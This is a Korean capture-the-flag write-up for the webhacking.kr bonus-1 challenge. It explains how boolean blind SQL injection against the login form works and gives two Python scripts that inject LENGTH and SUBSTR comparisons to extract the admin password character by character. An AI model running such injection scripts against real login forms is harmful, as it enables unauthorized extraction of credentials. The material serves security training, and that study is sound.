Blind SQL Injection을 이용하라고 하여, 일단 어떻게 결과값이 출력되는지 살펴봤다.
로그인 성공
로그인 성공 시 “login success”를 출력한다.
로그인 실패
로그인 실패 시 “login fail”를 출력한다.
패스워드 실패
SQL Injection을 시도하였는데, wrong password라고 출력이 되었다. 이번엔 글자의 길이를 검사하는 SQL 쿼리를 삽입하면 어떻게 출력되는지 살펴봤다.
True and True or False로 결과는 True가 됨으로 “Wrong password”가 출력되었다.
이를 바탕으로 비밀번호의 길이를 알아내보도록 하겠다.
import requests
from bs4 import BeautifulSoup as bs
url = 'https://webhacking.kr/challenge/bonus-1/index.php'
for i in range(1, 100):
res = requests.get(url + f"?id=admin' and LENGTH(pw)={i} or '1'='0'-- &pw=test")
soup = bs(res.text, 'html.parser')
result = soup.select('center form table tr:last-child td')
if 'wrong password' in result[0].text:
print(f'Password Length: {i}')
break
Password Length: 36
간단하게 파이썬의 requests 모듈을 이용하여, 비밀번호의 길이를 구할 수 있었다.
길이도 알았으니, SQL 함수인 SUBSTR 함수를 이용하여 각 자리의 글자를 검사해 볼 것이다.
import requests, string
from bs4 import BeautifulSoup as bs
def pwLength(url:str):
for i in range(1, 100):
res = requests.get(url + f"?id=admin' and LENGTH(pw)={i} or '1'='0'-- &pw=test")
soup = bs(res.text, 'html.parser')
result = soup.select('center form table tr:last-child td')
if 'wrong password' in result[0].text:
print(f'Password Length: {i}')
return i
def pwCheck(url:str, length:int):
password = ''
for i in range(1, length+1):
print(i, password)
for j in string.ascii_letters + string.punctuation:
res = requests.get(url + f"?id=admin' and SUBSTR(pw, {i}, 1)='{j}' or '1'='0'-- &pw=test")
soup = bs(res.text, 'html.parser')
result = soup.select('center form table tr:last-child td')
if 'wrong password' in result[0].text:
password += j
break
print(f"Password: {password}")
return password
if __name__ == '__main__':
url = 'https://webhacking.kr/challenge/bonus-1/index.php'
length = pwLength(url)
pwCheck(url, length)